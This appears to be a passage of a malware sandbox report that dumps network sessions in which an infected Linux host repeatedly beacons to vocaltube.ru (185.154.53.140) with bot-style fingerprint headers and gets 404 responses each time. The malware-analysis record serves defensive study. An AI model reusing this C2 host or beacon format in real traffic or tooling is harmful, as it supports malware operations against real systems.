                                                2023-11-29 17:00:04 UTC143INData Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 32 39 20 4e 6f 76 20 32 30 32 33 20 31 37 3a 30 30 3a 30 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 35 34 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a
                                                Data Ascii: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 29 Nov 2023 17:00:04 GMTContent-Type: text/htmlContent-Length: 548Connection: close
                                                2023-11-29 17:00:04 UTC548INData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20
                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                2192.168.2.2352168185.154.53.140443
                                                TimestampBytes transferredDirectionData
                                                2023-11-29 17:00:06 UTC433OUTGET /l HTTP/1.1
                                                Host: vocaltube.ru
                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
                                                Arch: arm64
                                                Content-Type: application/octet-stream
                                                Cores: 2
                                                Mem: 2992
                                                Os: linux
                                                Osname: ubuntu
                                                Osversion: 20.04
                                                Referer: http://185.154.53.140/l
                                                Root: true
                                                Started: 1701277137
                                                Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5
                                                Version: 39
                                                Accept-Encoding: gzip
                                                2023-11-29 17:00:06 UTC143INData Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 32 39 20 4e 6f 76 20 32 30 32 33 20 31 37 3a 30 30 3a 30 36 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 35 34 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a
                                                Data Ascii: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 29 Nov 2023 17:00:06 GMTContent-Type: text/htmlContent-Length: 548Connection: close
                                                2023-11-29 17:00:06 UTC548INData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20
                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                3192.168.2.2352172185.154.53.140443
                                                TimestampBytes transferredDirectionData
                                                2023-11-29 17:00:08 UTC433OUTGET /l HTTP/1.1
                                                Host: vocaltube.ru
                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
                                                Arch: arm64
                                                Content-Type: application/octet-stream
                                                Cores: 2
                                                Mem: 2992
                                                Os: linux
                                                Osname: ubuntu
                                                Osversion: 20.04
                                                Referer: http://185.154.53.140/l
                                                Root: true
                                                Started: 1701277137
                                                Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5
                                                Version: 39
                                                Accept-Encoding: gzip
                                                2023-11-29 17:00:08 UTC143INData Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 32 39 20 4e 6f 76 20 32 30 32 33 20 31 37 3a 30 30 3a 30 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 35 34 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a
                                                Data Ascii: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 29 Nov 2023 17:00:08 GMTContent-Type: text/htmlContent-Length: 548Connection: close
                                                2023-11-29 17:00:08 UTC548INData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20
                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                4192.168.2.2352176185.154.53.140443
                                                TimestampBytes transferredDirectionData
                                                2023-11-29 17:00:10 UTC431OUTGET /mu HTTP/1.1
                                                Host: vocaltube.ru
                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
                                                Arch: arm64
                                                Cores: 2
                                                Id: kEYItBUgmVxsTilBfeqnkdZqlVWoUa
                                                Mem: 2992
                                                Os: linux
                                                Osname: ubuntu
                                                Osversion: 20.04
                                                Referer: http://185.154.53.140/mu
                                                Root: true
                                                Started: 1701277137
                                                Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5
                                                Version: 39
                                                Accept-Encoding: gzip
                                                2023-11-29 17:00:11 UTC143INData Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 32 39 20 4e 6f 76 20 32 30 32 33 20 31 37 3a 30 30 3a 31 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 35 34 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a
                                                Data Ascii: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 29 Nov 2023 17:00:10 GMTContent-Type: text/htmlContent-Length: 548Connection: close
                                                2023-11-29 17:00:11 UTC548INData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20
                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                5192.168.2.2352180185.154.53.140443
                                                TimestampBytes transferredDirectionData
                                                2023-11-29 17:00:13 UTC433OUTGET /l HTTP/1.1
                                                Host: vocaltube.ru
                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
                                                Arch: arm64
                                                Content-Type: application/octet-stream
                                                Cores: 2
                                                Mem: 2992
                                                Os: linux
                                                Osname: ubuntu
                                                Osversion: 20.04
                                                Referer: http://185.154.53.140/l
                                                Root: true
                                                Started: 1701277137
                                                Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5
                                                Version: 39
                                                Accept-Encoding: gzip
                                                2023-11-29 17:00:13 UTC143INData Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 32 39 20 4e 6f 76 20 32 30 32 33 20 31 37 3a 30 30 3a 31 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 35 34 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a
                                                Data Ascii: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 29 Nov 2023 17:00:13 GMTContent-Type: text/htmlContent-Length: 548Connection: close
                                                2023-11-29 17:00:13 UTC548INData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20
                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                6192.168.2.2352184185.154.53.140443
                                                TimestampBytes transferredDirectionData
                                                2023-11-29 17:00:15 UTC435OUTGET /ms HTTP/1.1
                                                Host: vocaltube.ru
                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
                                                Arch: arm64
                                                Content-Type: application/octet-stream
                                                Cores: 2
                                                Mem: 2992
                                                Os: linux
                                                Osname: ubuntu
                                                Osversion: 20.04
                                                Referer: http://185.154.53.140/ms
                                                Root: true
                                                Started: 1701277137
                                                Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5
                                                Version: 39
                                                Accept-Encoding: gzip
                                                2023-11-29 17:00:15 UTC143INData Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 32 39 20 4e 6f 76 20 32 30 32 33 20 31 37 3a 30 30 3a 31 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 35 34 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a
                                                Data Ascii: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 29 Nov 2023 17:00:15 GMTContent-Type: text/htmlContent-Length: 548Connection: close
                                                2023-11-29 17:00:15 UTC548INData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20
                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                7192.168.2.2352196185.154.53.140443
                                                TimestampBytes transferredDirectionData
                                                2023-11-29 17:00:30 UTC431OUTGET /ki HTTP/1.1
                                                Host: vocaltube.ru
                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
                                                Arch: arm64
                                                Cores: 2
                                                Id: PyWRaVRDRnQAcWRRwJdRWSbSFfMtYu
                                                Mem: 2992
                                                Os: linux
                                                Osname: ubuntu
                                                Osversion: 20.04
                                                Referer: http://185.154.53.140/ki
                                                Root: true
                                                Started: 1701277137
                                                Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5
                                                Version: 39
                                                Accept-Encoding: gzip
                                                2023-11-29 17:00:30 UTC143INData Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 32 39 20 4e 6f 76 20 32 30 32 33 20 31 37 3a 30 30 3a 33 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 35 34 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a
                                                Data Ascii: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 29 Nov 2023 17:00:30 GMTContent-Type: text/htmlContent-Length: 548Connection: close
                                                2023-11-29 17:00:30 UTC548INData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20
                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                8192.168.2.2352194185.154.53.140443
                                                TimestampBytes transferredDirectionData
                                                2023-11-29 17:00:30 UTC433OUTGET /get HTTP/1.1
                                                Host: vocaltube.ru
                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
                                                Arch: arm64
                                                Cores: 2
                                                Id: lXgcADDgNTANSlVMuXVSaaNzBRcFOC
                                                Mem: 2992
                                                Os: linux
                                                Osname: ubuntu
                                                Osversion: 20.04
                                                Referer: http://185.154.53.140/get
                                                Root: true
                                                Started: 1701277137
                                                Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5
                                                Version: 39
                                                Accept-Encoding: gzip
                                                2023-11-29 17:00:30 UTC143INData Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 32 39 20 4e 6f 76 20 32 30 32 33 20 31 37 3a 30 30 3a 33 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 35 34 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a
                                                Data Ascii: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 29 Nov 2023 17:00:30 GMTContent-Type: text/htmlContent-Length: 548Connection: close
                                                2023-11-29 17:00:30 UTC548INData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20
                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                9192.168.2.2352192185.154.53.140443
                                                TimestampBytes transferredDirectionData
                                                2023-11-29 17:00:30 UTC433OUTGET /s HTTP/1.1
                                                Host: vocaltube.ru
                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
                                                Arch: arm64
                                                Content-Type: application/octet-stream
                                                Cores: 2
                                                Mem: 2992
                                                Os: linux
                                                Osname: ubuntu
                                                Osversion: 20.04
                                                Referer: http://185.154.53.140/s
                                                Root: true
                                                Started: 1701277137
                                                Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5
                                                Version: 39
                                                Accept-Encoding: gzip
                                                2023-11-29 17:00:30 UTC143INData Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 32 39 20 4e 6f 76 20 32 30 32 33 20 31 37 3a 30 30 3a 33 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 35 34 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a
                                                Data Ascii: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 29 Nov 2023 17:00:30 GMTContent-Type: text/htmlContent-Length: 548Connection: close
                                                2023-11-29 17:00:30 UTC548INData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20
                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                10192.168.2.2352204185.154.53.140443
                                                TimestampBytes transferredDirectionData
                                                2023-11-29 17:00:32 UTC433OUTGET /l HTTP/1.1
                                                Host: vocaltube.ru
                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
                                                Arch: arm64
                                                Content-Type: application/octet-stream
                                                Cores: 2
                                                Mem: 2992
                                                Os: linux
                                                Osname: ubuntu
                                                Osversion: 20.04
                                                Referer: http://185.154.53.140/l
                                                Root: true
                                                Started: 1701277137
                                                Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5
                                                Version: 39
                                                Accept-Encoding: gzip
                                                2023-11-29 17:00:32 UTC143INData Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 32 39 20 4e 6f 76 20 32 30 32 33 20 31 37 3a 30 30 3a 33 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 35 34 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a
                                                Data Ascii: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 29 Nov 2023 17:00:32 GMTContent-Type: text/htmlContent-Length: 548Connection: close
